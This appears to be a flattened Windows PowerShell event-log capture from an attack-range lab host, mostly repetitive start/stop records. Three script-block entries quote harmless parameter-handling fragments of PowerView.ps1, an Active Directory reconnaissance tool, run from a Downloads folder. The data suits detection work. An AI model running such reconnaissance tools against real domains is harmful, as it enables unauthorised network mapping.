410515102150x0666926Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666925Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666924Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666923Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666922Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666921Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666920Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666919Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666918Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666917Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666916Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666915Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666914Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666913Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666912Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666911Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666910Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666909Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666908Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666907Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666906Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666905Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666904Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666903Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666902Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666901Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666900Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666899Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666898Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666897Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666896Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666895Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666894Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666893Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666892Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666891Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666890Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666889Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666888Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666887Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666886Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666885Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666884Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666883Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666882Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666881Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666880Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666879Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666878Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666877Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666876Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666875Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666874Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666873Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666872Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666871Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666870Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666869Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666868Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666867Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666866Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666865Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666864Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666863Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666862Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666861Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666860Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666859Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666858Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666857Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666856Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666855Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666854Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666853Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666852Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666851Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666850Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666849Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666848Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666847Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666846Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666845Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666844Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666843Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666842Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666841Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666840Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666839Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666838Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666837Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666836Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666835Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666834Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666833Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666832Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666831Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666830Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666829Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666828Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666827Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666826Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666825Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666824Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666823Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666822Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5a4aebf1-0346-4123-8747-12a7a6fe19b354264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666821Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ $PSBoundParameters.Keys -notcontains $_ }5a4aebf1-0346-4123-8747-12a7a6fe19b3C:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666820Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666819Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localf3b84069-cdb0-497f-bee8-0c4f35d1cf6e54264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666818Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName }f3b84069-cdb0-497f-bee8-0c4f35d1cf6eC:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666817Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localccb4b2a7-2fbe-4561-81e7-7d7e0f340e5b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666816Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localccb4b2a7-2fbe-4561-81e7-7d7e0f340e5b54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666815Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localccb4b2a7-2fbe-4561-81e7-7d7e0f340e5b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666814Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localccb4b2a7-2fbe-4561-81e7-7d7e0f340e5b54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666813Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localccb4b2a7-2fbe-4561-81e7-7d7e0f340e5b54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666812Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localccb4b2a7-2fbe-4561-81e7-7d7e0f340e5b54264437-4f42-4df9-8829-9527f33cd4fe 4104132150x0666811Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ if($_.Value.PSobject.Methods.Name -match '^Equals$') { # If object has Equals, compare bound key and variable using it if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { $_.Key } } else { # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { $_.Key } } }ccb4b2a7-2fbe-4561-81e7-7d7e0f340e5bC:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666810Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666809Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666808Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666807Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666806Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666805Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666804Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666803Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666802Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666801Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666800Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666799Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666798Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666797Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666796Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666795Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666794Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666793Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666792Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666791Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666790Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666789Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666788Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666787Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666786Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666785Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666784Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666783Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666782Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666781Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666780Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666779Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666778Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666777Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666776Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666775Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666774Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666773Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666772Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666771Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666770Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666769Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666768Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666767Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4d3a299d-2700-4d82-987d-f7f59635a54c54264437-4f42-4df9-8829-9527f33cd4fe 